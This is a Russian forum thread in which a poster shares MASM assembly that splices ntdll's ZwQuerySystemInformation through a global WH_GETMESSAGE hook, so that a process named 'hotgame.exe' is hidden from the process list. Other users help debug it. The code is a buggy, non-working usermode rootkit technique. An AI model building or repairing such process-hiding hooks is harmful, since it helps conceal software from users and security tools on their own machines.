Здравствуйте пишу приложение, которые вызывается по hot-key(соответственно я его прячу), само окно скрыл, а вот процесс - нет. Поизучал статьи от Ms-Rem, но исходники там на Delphi. Начал копать в отладчике программы и вот что вышло - проблема здесь в процедуре TProc. Прошу помочь разобраться! Код (Text): include c:\masm32\include\windows.inc include c:\masm32\include\kernel32.inc include c:\masm32\include\ntdll.inc includelib c:\masm32\lib\kernel32.lib includelib c:\masm32\lib\ntdll.lib .data procname db "ProcHideHook", 0 HI dd ? lib db "ntdll.dll", 0 funcname db "ZwQuerySystemInformation", 0 MbaAdr dd ? Result dd ? Hide db "hotgame.exe", 0 .data? OldCode STRUCT one dd ? two word ? OldCode ENDS far_jmp STRUCT PuhsOp byte ? PushArg dd ? RetOp byte ? far_jmp ENDS SYSTEM_PROCESSES STRUCT NextEntryDelta dd ? ThreadCount dd ? Reserved1 dd ? CreateTime dd ? UserTime dd ? KernelTime dd ? ProcessName dd ? BasePriority dd ? ProcessId dd ? InheritedFromProcessId dd ? HandleCount dd ? Reserved2 dd ? VmCounters dd ? IoCounters dd ? Threads dd ? SYSTEM_PROCESSES ENDS JmpMba far_jmp <> OldMba OldCode <> PSYSTEM_PROCESSES SYSTEM_PROCESSES <> .code TInfo proc ASystemInformationClass: DWORD, ASystemInformation: DWORD, ASystemInformationLength: DWORD, AReturnLength: DWORD LOCAL written: DWORD invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, sizeof OldCode, addr written invoke ZwQuerySystemInformation, ASystemInformationClass, ASystemInformation, ASystemInformationLength, AReturnLength mov Result, eax invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr JmpMba, sizeof far_jmp, addr written TInfo endp ;========================================== TProc proc ASystemInformationClass: DWORD, ASystemInformation: DWORD, ASystemInformationLength: DWORD, AReturnLength: DWORD invoke TInfo, ASystemInformationClass, ASystemInformation, ASystemInformationLength, AReturnLength cmp ASystemInformationClass, 5 ;SystemProcessesAndThreadsInformation = 5 jnz @ret cmp Result, STATUS_SUCCESS jnz @ret invoke lstrcpy, addr PSYSTEM_PROCESSES, ASystemInformation .while PSYSTEM_PROCESSES.NextEntryDelta>0 invoke lstrcpy, addr PSYSTEM_PROCESSES, addr PSYSTEM_PROCESSES ;mov PSYSTEM_PROCESSES, [DWORD PTR PSYSTEM_PROCESSES+PSYSTEM_PROCESSES.NextEntryDelta] lea eax, DWORD PTR PSYSTEM_PROCESSES lea edx, PSYSTEM_PROCESSES.NextEntryDelta add edx, eax ;mov PSYSTEM_PROCESSES, edx invoke lstrcpy, addr PSYSTEM_PROCESSES, edx xor edx, edx xor eax, eax invoke lstrcmp, addr PSYSTEM_PROCESSES.ProcessName, addr Hide cmp eax, 0 jnz notfound ;mov PSYSTEM_PROCESSES.NextEntryDelta, [PSYSTEM_PROCESSES.NextEntryDelta+PSYSTEM_PROCESSES.NextEntryDelta] lea eax, PSYSTEM_PROCESSES.NextEntryDelta lea edx, PSYSTEM_PROCESSES.NextEntryDelta add edx, eax mov PSYSTEM_PROCESSES.NextEntryDelta, edx xor edx, edx xor eax, eax notfound: .endw @ret: ret TProc endp ;========================================== MProc proc nCode:DWORD, wparam:DWORD, lparam:DWORD invoke CallNextHookEx, 0, nCode, wparam, lparam xor eax, eax ret MProc endp ;========================================== GHookP proc invoke SetWindowsHookEx, WH_GETMESSAGE, addr MProc, HI, 0 invoke Sleep, INFINITE ret GHookP endp ;========================================== GHook proc LOCAL hMutex: dword LOCAL TrId: dword invoke CreateMutex, 0, 0, addr procname mov hMutex, eax invoke GetLastError test eax, eax jnz bad invoke CreateThread, 0, 0, addr GHookP, 0, 0, addr TrId ret bad: invoke CloseHandle, hMutex ret GHook endp ;========================================== Hook proc LOCAL hUser32: dword LOCAL Bytes: dword invoke GetModuleHandle, addr lib mov hUser32, eax invoke GetProcAddress, hUser32, addr funcname mov MbaAdr, eax invoke ReadProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, sizeof OldCode, addr Bytes mov JmpMba.PuhsOp, 068h mov JmpMba.PushArg, offset TProc mov JmpMba.RetOp, 0C3h invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr JmpMba, sizeof far_jmp, addr Bytes ret Hook endp ;========================================== stealth proc invoke GHook invoke Hook stealth endp
Troj Не можите корректно джамп записать ? Посмотрите в манах на камень как выполняются ветвления и соответственно как смещение вычисляется. Предположу что не верно смещение вычисляется как обычно.
Troj Разберись с возвратом значения из TInfo: у тебя рез-т вызова ZwQuerySystemInformation пишется в переменную Result и затем в eax возвращается BOOL-рез-т вызова WriteProcessMemory, который ты в TProc снова записываешь в Result Нужно либо из TProc убрать строчку mov Result,eax, либо в конец TInfo добавить mov eax,Result
Асм-код: Код (Text): TInfo proc ASystemInformationClass1: DWORD, ASystemInformation1: DWORD, ASystemInformationLength1: DWORD, AReturnLength1: DWORD LOCAL written: DWORD invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, sizeof OldCode, addr written invoke ZwQuerySystemInformation, ASystemInformationClass1, ASystemInformation1, ASystemInformationLength1, AReturnLength1 mov Result, eax invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr JmpMba, sizeof far_jmp, addr written ret TInfo endp ;========================================== TProc proc ASystemInformationClass: DWORD, ASystemInformation: DWORD, ASystemInformationLength: DWORD, AReturnLength: DWORD invoke TInfo, ASystemInformationClass, ASystemInformation, ASystemInformationLength, AReturnLength cmp Result, STATUS_SUCCESS jnz @ret cmp ASystemInformationClass, 5 ;SystemProcessesAndThreadsInformation = 5 jnz @ret invoke lstrcpy, addr PSYSTEM_PROCESSES, ASystemInformation .while PSYSTEM_PROCESSES.NextEntryDelta>0 invoke lstrcpy, addr PSYSTEM_PROCESSES, addr PSYSTEM_PROCESSES ;mov PSYSTEM_PROCESSES, [DWORD PTR PSYSTEM_PROCESSES+PSYSTEM_PROCESSES.NextEntryDelta] lea eax, DWORD PTR PSYSTEM_PROCESSES lea edx, PSYSTEM_PROCESSES.NextEntryDelta add edx, eax ;mov PSYSTEM_PROCESSES, edx invoke lstrcpy, addr PSYSTEM_PROCESSES, edx xor edx, edx xor eax, eax invoke lstrcmp, addr PSYSTEM_PROCESSES.ProcessName, addr Hide cmp eax, 0 jnz notfound ;mov PSYSTEM_PROCESSES.NextEntryDelta, [PSYSTEM_PROCESSES.NextEntryDelta+PSYSTEM_PROCESSES.NextEntryDelta] lea eax, PSYSTEM_PROCESSES.NextEntryDelta lea edx, PSYSTEM_PROCESSES.NextEntryDelta add edx, eax mov PSYSTEM_PROCESSES.NextEntryDelta, edx xor edx, edx xor eax, eax notfound: .endw @ret: ret TProc endp
Мда, "играл, но не отгадал ни одной буквы" Ты, что не понимаешь, что твоя TInfo возвращает в eax результат вызова WriteProcessMemory, который в сл.успеха не равен 0 ?!! Забудь про дельфийский Result и напиши как положено: Код (Text): TInfo proc ... invoke WriteProcessMemory, ... invoke ZwQuerySystemInformation, ... ;mov Result, eax - УБРАТЬ push eax ;!!! <--- сохраняем eax в стеке invoke WriteProcessMemory, ... pop eax ;!!! <--- восстанавливаем eax ret TInfo endp
leo спасибо за помощь, но я с выводом из функции давно разобрался на примерей другой более простой. Сейчас возникла загвоздка в сдвиге записей. С масм синтаксисом не очень знаком, но другого не знаю. Перепись из отладчика не помогает. Код (Text): TInfo proc aa: DWORD, bb:DWORD, cc:DWORD, dd:DWORD invoke TProc, aa, bb, cc, dd ; здесь всё ок. test eax, eax ;STATUS_SUCCESS jnz @ret cmp bb, 5 ;SystemProcessesAndThreadsInformation = 5 jnz @ret lea eax, PSYSTEM_PROCESSES ;пошёл поиск процесса и сдвиг значения. lea edx, bb add eax, edx xor edx, edx xor eax, eax .while PSYSTEM_PROCESSES.NextEntryDelta > 0 lea eax, PSYSTEM_PROCESSES lea edx, PSYSTEM_PROCESSES mov eax, edx xor edx, edx xor eax, eax lea eax, DWORD PTR [PSYSTEM_PROCESSES] lea edx, PSYSTEM_PROCESSES.NextEntryDelta add edx, eax lea eax, PSYSTEM_PROCESSES mov eax, edx xor edx, edx xor eax, eax invoke lstrcmp, addr PSYSTEM_PROCESSES.ProcessName, addr hotgame ; hotgame db "hotgame.exe", 0 cmp eax, 0 jnz notfound lea eax, PSYSTEM_PROCESSES.NextEntryDelta lea edx, PSYSTEM_PROCESSES.NextEntryDelta add edx, eax mov PSYSTEM_PROCESSES.NextEntryDelta, edx xor edx, edx xor eax, eax notfound: .endw @ret: ret TInfo endp